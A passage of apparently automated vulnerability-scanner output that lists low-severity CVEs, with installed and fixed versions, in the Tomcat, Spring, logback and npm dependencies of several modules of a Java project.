Title: ch.qos.logback/logback-core: Malicious logback.xml configuration file allows instantiation of arbitrary classes
Description:
ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.
The instantiation of a potentially malicious Java class requires that said class is present on the user's class-path. In addition, the attacker must have write access to a
configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.
Reference: https://avd.aquasec.com/nvd/cve-2026-1225
CVE-2025-55754 - org.apache.tomcat.embed:tomcat-embed-core
Severity: LOW
Installed Version: 10.1.44
Fixed Version: 11.0.11, 10.1.45, 9.0.109
Target: distro/run/core/pom.xml
Title: Improper Neutralization of Escape, Meta, or Control Sequences vulnerab ...
Description:
Improper Neutralization of Escape, Meta, or Control Sequences vulnerability in Apache Tomcat.
Tomcat did not escape ANSI escape sequences in log messages. If Tomcat was running in a console on a Windows operating system, and the console supported ANSI escape sequences, it was possible for an attacker to use a specially crafted URL to inject ANSI escape sequences to manipulate the console and the clipboard and attempt to trick an administrator into running an attacker controlled command. While no attack vector was found, it may have been possible to mount this attack on other operating systems.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.40 through 9.0.108.
The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.60 though 8.5.100. Other, older, EOL versions may also be affected.
Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2025-55754
CVE-2025-61795 - org.apache.tomcat.embed:tomcat-embed-core
Severity: LOW
Installed Version: 10.1.44
Fixed Version: 11.0.12, 10.1.47, 9.0.110
Target: distro/run/core/pom.xml
Title: Improper Resource Shutdown or Release vulnerability in Apache Tomcat. ...
Description:
Improper Resource Shutdown or Release vulnerability in Apache Tomcat.
If an error occurred (including exceeding limits) during the processing of a multipart upload, temporary copies of the uploaded parts written to disc were not cleaned up immediately but left for the garbage collection process to delete. Depending on JVM settings, application memory usage and application load, it was possible that space for the temporary copies of uploaded parts would be filled faster than GC cleared it, leading to a DoS.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.11, from 10.1.0-M1 through 10.1.46, from 9.0.0.M1 through 9.0.109.
The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected.
Users are recommended to upgrade to version 11.0.12 or later, 10.1.47 or later or 9.0.110 or later which fixes the issue.
Reference: https://avd.aquasec.com/nvd/cve-2025-61795
CVE-2026-24733 - org.apache.tomcat.embed:tomcat-embed-core
Severity: LOW
Installed Version: 10.1.44
Fixed Version: 11.0.15, 10.1.50, 9.0.113
Target: distro/run/core/pom.xml
Title: tomcat: security constraint bypass with HTTP/0.9
Description:
Improper Input Validation vulnerability in Apache Tomcat.
Tomcat did not limit HTTP/0.9 requests to the GET method. If a security
constraint was configured to allow HEAD requests to a URI but deny GET
requests, the user could bypass that constraint on GET requests by
sending a (specification invalid) HEAD request using HTTP/0.9.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.14, from 10.1.0-M1 through 10.1.49, from 9.0.0.M1 through 9.0.112.
Older, EOL versions are also affected.
Users are recommended to upgrade to version 11.0.15 or later, 10.1.50 or later or 9.0.113 or later, which fixes the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-24733
CVE-2026-43514 - org.apache.tomcat.embed:tomcat-embed-core
Severity: LOW
Installed Version: 10.1.44
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: distro/run/core/pom.xml
Title: Observable Timing Discrepancy vulnerabilitywhen comparing AJP secret i ...
Description:
Observable Timing Discrepancy vulnerability when comparing AJP secret in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.
Older unsupported versions may also be affected.
Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-43514
CVE-2026-22735 - org.springframework:spring-webmvc
Severity: LOW
Installed Version: 6.2.10
Fixed Version: 7.0.6, 6.2.17
Target: distro/run/core/pom.xml
Title: org.springframework/spring-webmvc: org.springframework/spring-webflux: Spring MVC and WebFlux: Stream corruption vulnerability when using Server-Sent Events
Description:
Spring MVC and WebFlux applications are vulnerable to stream corruption when using Server-Sent Events (SSE). This issue affects Spring Foundation: from 7.0.0 through 7.0.5, from 6.2.0 through 6.2.16, from 6.1.0 through 6.1.25, from 5.3.0 through 5.3.46.
Reference: https://avd.aquasec.com/nvd/cve-2026-22735
CVE-2026-22741 - org.springframework:spring-webmvc
Severity: LOW
Installed Version: 6.2.10
Fixed Version: 7.0.7, 6.2.18
Target: distro/run/core/pom.xml
Title: Spring MVC: Spring WebFlux: Spring MVC and Spring WebFlux: Denial of Service via cache poisoning
Description:
Spring MVC and WebFlux applications are vulnerable to cache poisoning when resolving static resources.
More precisely, an application can be vulnerable when all the following are true:
* the application is using Spring MVC or Spring WebFlux
* the application is configuring the resource chain support https://docs.spring.io/spring-framework/reference/web/webmvc/mvc-config/static-resources.html#page-title with caching enabled
* the application adds support for encoded resources resolution
* the resource cache must be empty when the attacker has access to the application
When all the conditions above are met, the attacker can send malicious requests and poison the resource cache with resources using the wrong encoding. This can cause a denial of service by breaking the front-end application for clients.
Reference: https://avd.aquasec.com/nvd/cve-2026-22741
CVE-2026-22746 - org.springframework.security:spring-security-core
Severity: LOW
Installed Version: 6.5.3
Fixed Version: 6.5.10, 7.0.5
Target: distro/run/modules/oauth2/pom.xml
Title: Spring Security: Spring Security: Timing attack defense bypass allows information disclosure
Description:
Vulnerability in Spring Spring Security. If an application is using the UserDetails#isEnabled, #isAccountNonExpired, or #isAccountNonLocked user attributes, to enable, expire, or lock users, then DaoAuthenticationProvider's timing attack defense can be bypassed for users who are disabled, expired, or locked.This issue affects Spring Security: from 5.7.0 through 5.7.22, from 5.8.0 through 5.8.24, from 6.3.0 through 6.3.15, from 6.5.0 through 6.5.9, from 7.0.0 through 7.0.4.
Reference: https://avd.aquasec.com/nvd/cve-2026-22746
CVE-2026-22735 - org.springframework:spring-webmvc
Severity: LOW
Installed Version: 6.2.10
Fixed Version: 7.0.6, 6.2.17
Target: distro/run/modules/webapps/pom.xml
Title: org.springframework/spring-webmvc: org.springframework/spring-webflux: Spring MVC and WebFlux: Stream corruption vulnerability when using Server-Sent Events
Description:
Spring MVC and WebFlux applications are vulnerable to stream corruption when using Server-Sent Events (SSE). This issue affects Spring Foundation: from 7.0.0 through 7.0.5, from 6.2.0 through 6.2.16, from 6.1.0 through 6.1.25, from 5.3.0 through 5.3.46.
Reference: https://avd.aquasec.com/nvd/cve-2026-22735
CVE-2026-22741 - org.springframework:spring-webmvc
Severity: LOW
Installed Version: 6.2.10
Fixed Version: 7.0.7, 6.2.18
Target: distro/run/modules/webapps/pom.xml
Title: Spring MVC: Spring WebFlux: Spring MVC and Spring WebFlux: Denial of Service via cache poisoning
Description:
Spring MVC and WebFlux applications are vulnerable to cache poisoning when resolving static resources.
More precisely, an application can be vulnerable when all the following are true:
* the application is using Spring MVC or Spring WebFlux
* the application is configuring the resource chain support https://docs.spring.io/spring-framework/reference/web/webmvc/mvc-config/static-resources.html#page-title with caching enabled
* the application adds support for encoded resources resolution
* the resource cache must be empty when the attacker has access to the application
When all the conditions above are met, the attacker can send malicious requests and poison the resource cache with resources using the wrong encoding. This can cause a denial of service by breaking the front-end application for clients.
Reference: https://avd.aquasec.com/nvd/cve-2026-22741
CVE-2025-55754 - org.apache.tomcat:tomcat
Severity: LOW
Installed Version: 10.1.43
Fixed Version: 11.0.11, 10.1.45, 9.0.109
Target: distro/tomcat/assembly/pom.xml
Title: Improper Neutralization of Escape, Meta, or Control Sequences vulnerab ...
Description:
Improper Neutralization of Escape, Meta, or Control Sequences vulnerability in Apache Tomcat.
Tomcat did not escape ANSI escape sequences in log messages. If Tomcat was running in a console on a Windows operating system, and the console supported ANSI escape sequences, it was possible for an attacker to use a specially crafted URL to inject ANSI escape sequences to manipulate the console and the clipboard and attempt to trick an administrator into running an attacker controlled command. While no attack vector was found, it may have been possible to mount this attack on other operating systems.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.40 through 9.0.108.
The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.60 though 8.5.100. Other, older, EOL versions may also be affected.
Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2025-55754
CVE-2025-61795 - org.apache.tomcat:tomcat
Severity: LOW
Installed Version: 10.1.43
Fixed Version: 11.0.12, 10.1.47, 9.0.110
Target: distro/tomcat/assembly/pom.xml
Title: Improper Resource Shutdown or Release vulnerability in Apache Tomcat. ...
Description:
Improper Resource Shutdown or Release vulnerability in Apache Tomcat.
If an error occurred (including exceeding limits) during the processing of a multipart upload, temporary copies of the uploaded parts written to disc were not cleaned up immediately but left for the garbage collection process to delete. Depending on JVM settings, application memory usage and application load, it was possible that space for the temporary copies of uploaded parts would be filled faster than GC cleared it, leading to a DoS.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.11, from 10.1.0-M1 through 10.1.46, from 9.0.0.M1 through 9.0.109.
The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected.
Users are recommended to upgrade to version 11.0.12 or later, 10.1.47 or later or 9.0.110 or later which fixes the issue.
Reference: https://avd.aquasec.com/nvd/cve-2025-61795
CVE-2026-24733 - org.apache.tomcat:tomcat
Severity: LOW
Installed Version: 10.1.43
Fixed Version: 11.0.15, 10.1.50, 9.0.113
Target: distro/tomcat/assembly/pom.xml
Title: tomcat: security constraint bypass with HTTP/0.9
Description:
Improper Input Validation vulnerability in Apache Tomcat.
Tomcat did not limit HTTP/0.9 requests to the GET method. If a security
constraint was configured to allow HEAD requests to a URI but deny GET
requests, the user could bypass that constraint on GET requests by
sending a (specification invalid) HEAD request using HTTP/0.9.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.14, from 10.1.0-M1 through 10.1.49, from 9.0.0.M1 through 9.0.112.
Older, EOL versions are also affected.
Users are recommended to upgrade to version 11.0.15 or later, 10.1.50 or later or 9.0.113 or later, which fixes the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-24733
CVE-2026-43514 - org.apache.tomcat:tomcat
Severity: LOW
Installed Version: 10.1.43
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: distro/tomcat/assembly/pom.xml
Title: Observable Timing Discrepancy vulnerabilitywhen comparing AJP secret i ...
Description:
Observable Timing Discrepancy vulnerability when comparing AJP secret in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.
Older unsupported versions may also be affected.
Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-43514
CVE-2025-5889 - brace-expansion
Severity: LOW
Installed Version: 2.0.1
Fixed Version: 2.0.2, 1.1.12, 3.0.1, 4.0.1
Target: engine-rest/docs/package-lock.json
Title: A vulnerability was found in juliangruber brace-expansion up to 1.1.11 ...
Description:
A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is a5b98a4f30d7813266b221435e1eaaf25a1b0ac5. It is recommended to upgrade the affected component.
Reference: https://avd.aquasec.com/nvd/cve-2025-5889
CVE-2026-27942 - fast-xml-parser
Severity: LOW
Installed Version: 4.5.3
Fixed Version: 5.3.8, 4.5.4
Target: engine-rest/docs/package-lock.json
Title: fast-xml-parser: fast-xml-parser: Stack overflow leads to Denial of Service
Description:
fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. Prior to version 5.3.8, the application crashes with stack overflow when user use XML builder with `preserveOrder:true`. Version 5.3.8 fixes the issue. As a workaround, use XML builder with `preserveOrder:false` or check the input data before passing to builder.
Reference: https://avd.aquasec.com/nvd/cve-2026-27942
CVE-2025-22233 - org.springframework:spring-context
Severity: LOW
Installed Version: 5.3.39
Fixed Version: 6.2.7, 6.1.20
Target: qa/integration-tests-engine/pom.xml
Title: CVE-2024-38820 ensured Locale-independent, lowercase conversion for bo ...
Description:
CVE-2024-38820 ensured Locale-independent, lowercase conversion for both the configured disallowedFields patterns and for request parameter names. However, there are still cases where it is possible to bypass the disallowedFields checks.
Affected Spring Products and Versions
Spring Framework:
* 6.2.0 - 6.2.6
* 6.1.0 - 6.1.19
* 6.0.0 - 6.0.27
* 5.3.0 - 5.3.42
* Older, unsupported versions are also affected
Mitigation
Users of affected versions should upgrade to the corresponding fixed version.
Affected version(s)Fix Version Availability 6.2.x
6.2.7
OSS6.1.x
6.1.20
OSS6.0.x
6.0.28
Commercial https://enterprise.spring.io/ 5.3.x
5.3.43
Commercial https://enterprise.spring.io/
No further mitigation steps are necessary.
Generally, we recommend using a dedicated model object with properties only for data binding, or using constructor binding since constructor arguments explicitly declare what to bind together with turning off setter binding through the declarativeBinding flag. See the Model Design section in the reference documentation.
For setting binding, prefer the use of allowedFields (an explicit list) over disallowedFields.
Credit
This issue was responsibly reported by the TERASOLUNA Framework Development Team from NTT DATA Group Corporation.
Reference: https://avd.aquasec.com/nvd/cve-2025-22233
CVE-2024-12801 - ch.qos.logback:logback-core
Severity: LOW
Installed Version: 1.2.11
Fixed Version: 1.5.13, 1.3.15
Target: qa/performance-tests-engine/pom.xml
Title: Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logba ...
Description:
Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 0.1 to 1.3.14 and 1.4.0 to 1.5.12 on the Java platform, allows an attacker to
forge requests by compromising logback configuration files in XML.
The attacks involves the modification of DOCTYPE declaration in XML configuration files.
Reference: https://avd.aquasec.com/nvd/cve-2024-12801
CVE-2026-1225 - ch.qos.logback:logback-core
Severity: LOW
Installed Version: 1.2.11
Fixed Version: 1.5.25
Target: qa/performance-tests-engine/pom.xml
Title: ch.qos.logback/logback-core: Malicious logback.xml configuration file allows instantiation of arbitrary classes
Description:
ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.
The instantiation of a potentially malicious Java class requires that said class is present on the user's class-path. In addition, the attacker must have write access to a
configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.
Reference: https://avd.aquasec.com/nvd/cve-2026-1225
CVE-2026-1225 - ch.qos.logback:logback-core
Severity: LOW
Installed Version: 1.5.18
Fixed Version: 1.5.25
Target: spring-boot-starter/starter-client/spring-boot/pom.xml
Title: ch.qos.logback/logback-core: Malicious logback.xml configuration file allows instantiation of arbitrary classes
Description:
ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.
The instantiation of a potentially malicious Java class requires that said class is present on the user's class-path. In addition, the attacker must have write access to a
configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.
Reference: https://avd.aquasec.com/nvd/cve-2026-1225
CVE-2026-1225 - ch.qos.logback:logback-core
Severity: LOW
Installed Version: 1.5.18
Fixed Version: 1.5.25
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: ch.qos.logback/logback-core: Malicious logback.xml configuration file allows instantiation of arbitrary classes
Description:
ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.
The instantiation of a potentially malicious Java class requires that said class is present on the user's class-path. In addition, the attacker must have write access to a
configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.
Reference: https://avd.aquasec.com/nvd/cve-2026-1225
CVE-2025-55754 - org.apache.tomcat.embed:tomcat-embed-core
Severity: LOW
Installed Version: 10.1.44
Fixed Version: 11.0.11, 10.1.45, 9.0.109
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: Improper Neutralization of Escape, Meta, or Control Sequences vulnerab ...
Description:
Improper Neutralization of Escape, Meta, or Control Sequences vulnerability in Apache Tomcat.
Tomcat did not escape ANSI escape sequences in log messages. If Tomcat was running in a console on a Windows operating system, and the console supported ANSI escape sequences, it was possible for an attacker to use a specially crafted URL to inject ANSI escape sequences to manipulate the console and the clipboard and attempt to trick an administrator into running an attacker controlled command. While no attack vector was found, it may have been possible to mount this attack on other operating systems.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.40 through 9.0.108.
The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.60 though 8.5.100. Other, older, EOL versions may also be affected.
Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2025-55754
CVE-2025-61795 - org.apache.tomcat.embed:tomcat-embed-core
Severity: LOW
Installed Version: 10.1.44
Fixed Version: 11.0.12, 10.1.47, 9.0.110
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: Improper Resource Shutdown or Release vulnerability in Apache Tomcat. ...
Description:
Improper Resource Shutdown or Release vulnerability in Apache Tomcat.
If an error occurred (including exceeding limits) during the processing of a multipart upload, temporary copies of the uploaded parts written to disc were not cleaned up immediately but left for the garbage collection process to delete. Depending on JVM settings, application memory usage and application load, it was possible that space for the temporary copies of uploaded parts would be filled faster than GC cleared it, leading to a DoS.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.11, from 10.1.0-M1 through 10.1.46, from 9.0.0.M1 through 9.0.109.
The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected.
Users are recommended to upgrade to version 11.0.12 or later, 10.1.47 or later or 9.0.110 or later which fixes the issue.
Reference: https://avd.aquasec.com/nvd/cve-2025-61795
CVE-2026-24733 - org.apache.tomcat.embed:tomcat-embed-core
Severity: LOW
Installed Version: 10.1.44
Fixed Version: 11.0.15, 10.1.50, 9.0.113
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: tomcat: security constraint bypass with HTTP/0.9
Description:
Improper Input Validation vulnerability in Apache Tomcat.
Tomcat did not limit HTTP/0.9 requests to the GET method. If a security
constraint was configured to allow HEAD requests to a URI but deny GET
requests, the user could bypass that constraint on GET requests by
sending a (specification invalid) HEAD request using HTTP/0.9.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.14, from 10.1.0-M1 through 10.1.49, from 9.0.0.M1 through 9.0.112.
Older, EOL versions are also affected.
Users are recommended to upgrade to version 11.0.15 or later, 10.1.50 or later or 9.0.113 or later, which fixes the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-24733
CVE-2026-43514 - org.apache.tomcat.embed:tomcat-embed-core
Severity: LOW
Installed Version: 10.1.44
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: Observable Timing Discrepancy vulnerabilitywhen comparing AJP secret i ...
Description:
Observable Timing Discrepancy vulnerability when comparing AJP secret in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.
Older unsupported versions may also be affected.
Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-43514
CVE-2026-22735 - org.springframework:spring-webmvc
Severity: LOW
Installed Version: 6.2.10
Fixed Version: 7.0.6, 6.2.17
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: org.springframework/spring-webmvc: org.springframework/spring-webflux: Spring MVC and WebFlux: Stream corruption vulnerability when using Server-Sent Events
Description:
Spring MVC and WebFlux applications are vulnerable to stream corruption when using Server-Sent Events (SSE). This issue affects Spring Foundation: from 7.0.0 through 7.0.5, from 6.2.0 through 6.2.16, from 6.1.0 through 6.1.25, from 5.3.0 through 5.3.46.
Reference: https://avd.aquasec.com/nvd/cve-2026-22735
CVE-2026-22741 - org.springframework:spring-webmvc
Severity: LOW
Installed Version: 6.2.10
Fixed Version: 7.0.7, 6.2.18
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: Spring MVC: Spring WebFlux: Spring MVC and Spring WebFlux: Denial of Service via cache poisoning
Description:
Spring MVC and WebFlux applications are vulnerable to cache poisoning when resolving static resources.
More precisely, an application can be vulnerable when all the following are true:
* the application is using Spring MVC or Spring WebFlux
* the application is configuring the resource chain support https://docs.spring.io/spring-framework/reference/web/webmvc/mvc-config/static-resources.html#page-title with caching enabled
* the application adds support for encoded resources resolution
* the resource cache must be empty when the attacker has access to the application
When all the conditions above are met, the attacker can send malicious requests and poison the resource cache with resources using the wrong encoding. This can cause a denial of service by breaking the front-end application for clients.
Reference: https://avd.aquasec.com/nvd/cve-2026-22741
CVE-2026-1225 - ch.qos.logback:logback-core
Severity: LOW
Installed Version: 1.5.18
Fixed Version: 1.5.25
Target: spring-boot-starter/starter-security/pom.xml
Title: ch.qos.logback/logback-core: Malicious logback.xml configuration file allows instantiation of arbitrary classes
Description:
ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.
The instantiation of a potentially malicious Java class requires that said class is present on the user's class-path. In addition, the attacker must have write access to a
configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.
Reference: https://avd.aquasec.com/nvd/cve-2026-1225
CVE-2026-22746 - org.springframework.security:spring-security-core
Severity: LOW
Installed Version: 6.5.3
Fixed Version: 6.5.10, 7.0.5
Target: spring-boot-starter/starter-security/pom.xml
Title: Spring Security: Spring Security: Timing attack defense bypass allows information disclosure
Description:
Vulnerability in Spring Spring Security. If an application is using the UserDetails#isEnabled, #isAccountNonExpired, or #isAccountNonLocked user attributes, to enable, expire, or lock users, then DaoAuthenticationProvider's timing attack defense can be bypassed for users who are disabled, expired, or locked.This issue affects Spring Security: from 5.7.0 through 5.7.22, from 5.8.0 through 5.8.24, from 6.3.0 through 6.3.15, from 6.5.0 through 6.5.9, from 7.0.0 through 7.0.4.
Reference: https://avd.aquasec.com/nvd/cve-2026-22746
CVE-2026-1225 - ch.qos.logback:logback-core
Severity: LOW
Installed Version: 1.5.18
Fixed Version: 1.5.25
Target: spring-boot-starter/starter-test/pom.xml
Title: ch.qos.logback/logback-core: Malicious logback.xml configuration file allows instantiation of arbitrary classes
Description:
ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.
The instantiation of a potentially malicious Java class requires that said class is present on the user's class-path. In addition, the attacker must have write access to a
configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.
Reference: https://avd.aquasec.com/nvd/cve-2026-1225
CVE-2026-1225 - ch.qos.logback:logback-core
Severity: LOW
Installed Version: 1.5.18
Fixed Version: 1.5.25
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: ch.qos.logback/logback-core: Malicious logback.xml configuration file allows instantiation of arbitrary classes
Description:
ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.
The instantiation of a potentially malicious Java class requires that said class is present on the user's class-path. In addition, the attacker must have write access to a
configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.
Reference: https://avd.aquasec.com/nvd/cve-2026-1225
CVE-2025-55754 - org.apache.tomcat.embed:tomcat-embed-core
Severity: LOW
Installed Version: 10.1.44
Fixed Version: 11.0.11, 10.1.45, 9.0.109
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: Improper Neutralization of Escape, Meta, or Control Sequences vulnerab ...
Description:
Improper Neutralization of Escape, Meta, or Control Sequences vulnerability in Apache Tomcat.
Tomcat did not escape ANSI escape sequences in log messages. If Tomcat was running in a console on a Windows operating system, and the console supported ANSI escape sequences, it was possible for an attacker to use a specially crafted URL to inject ANSI escape sequences to manipulate the console and the clipboard and attempt to trick an administrator into running an attacker controlled command. While no attack vector was found, it may have been possible to mount this attack on other operating systems.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.40 through 9.0.108.
The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.60 though 8.5.100. Other, older, EOL versions may also be affected.
Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2025-55754
CVE-2025-61795 - org.apache.tomcat.embed:tomcat-embed-core
Severity: LOW
Installed Version: 10.1.44
Fixed Version: 11.0.12, 10.1.47, 9.0.110
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: Improper Resource Shutdown or Release vulnerability in Apache Tomcat. ...
Description:
Improper Resource Shutdown or Release vulnerability in Apache Tomcat.
If an error occurred (including exceeding limits) during the processing of a multipart upload, temporary copies of the uploaded parts written to disc were not cleaned up immediately but left for the garbage collection process to delete. Depending on JVM settings, application memory usage and application load, it was possible that space for the temporary copies of uploaded parts would be filled faster than GC cleared it, leading to a DoS.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.11, from 10.1.0-M1 through 10.1.46, from 9.0.0.M1 through 9.0.109.
The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected.
Users are recommended to upgrade to version 11.0.12 or later, 10.1.47 or later or 9.0.110 or later which fixes the issue.
Reference: https://avd.aquasec.com/nvd/cve-2025-61795
CVE-2026-24733 - org.apache.tomcat.embed:tomcat-embed-core
Severity: LOW
Installed Version: 10.1.44
Fixed Version: 11.0.15, 10.1.50, 9.0.113
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: tomcat: security constraint bypass with HTTP/0.9
Description:
Improper Input Validation vulnerability in Apache Tomcat.
Tomcat did not limit HTTP/0.9 requests to the GET method. If a security
constraint was configured to allow HEAD requests to a URI but deny GET
requests, the user could bypass that constraint on GET requests by
sending a (specification invalid) HEAD request using HTTP/0.9.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.14, from 10.1.0-M1 through 10.1.49, from 9.0.0.M1 through 9.0.112.
Older, EOL versions are also affected.
Users are recommended to upgrade to version 11.0.15 or later, 10.1.50 or later or 9.0.113 or later, which fixes the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-24733
CVE-2026-43514 - org.apache.tomcat.embed:tomcat-embed-core
Severity: LOW
Installed Version: 10.1.44
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: Observable Timing Discrepancy vulnerabilitywhen comparing AJP secret i ...
Description:
Observable Timing Discrepancy vulnerability when comparing AJP secret in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.
Older unsupported versions may also be affected.
Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-43514
CVE-2026-22735 - org.springframework:spring-webmvc
Severity: LOW
Installed Version: 6.2.10
Fixed Version: 7.0.6, 6.2.17
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: org.springframework/spring-webmvc: org.springframework/spring-webflux: Spring MVC and WebFlux: Stream corruption vulnerability when using Server-Sent Events
Description:
Spring MVC and WebFlux applications are vulnerable to stream corruption when using Server-Sent Events (SSE). This issue affects Spring Foundation: from 7.0.0 through 7.0.5, from 6.2.0 through 6.2.16, from 6.1.0 through 6.1.25, from 5.3.0 through 5.3.46.
Reference: https://avd.aquasec.com/nvd/cve-2026-22735
CVE-2026-22741 - org.springframework:spring-webmvc
Severity: LOW
Installed Version: 6.2.10
Fixed Version: 7.0.7, 6.2.18
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: Spring MVC: Spring WebFlux: Spring MVC and Spring WebFlux: Denial of Service via cache poisoning
Description:
Spring MVC and WebFlux applications are vulnerable to cache poisoning when resolving static resources.
More precisely, an application can be vulnerable when all the following are true:
* the application is using Spring MVC or Spring WebFlux
* the application is configuring the resource chain support https://docs.spring.io/spring-framework/reference/web/webmvc/mvc-config/static-resources.html#page-title with caching enabled
* the application adds support for encoded resources resolution
* the resource cache must be empty when the attacker has access to the application
When all the conditions above are met, the attacker can send malicious requests and poison the resource cache with resources using the wrong encoding. This can cause a denial of service by breaking the front-end application for clients.
Reference: https://avd.aquasec.com/nvd/cve-2026-22741
CVE-2026-1225 - ch.qos.logback:logback-core
Severity: LOW
Installed Version: 1.5.18
Fixed Version: 1.5.25
Target: spring-boot-starter/starter/pom.xml
Title: ch.qos.logback/logback-core: Malicious logback.xml configuration file allows instantiation of arbitrary classes
Description:
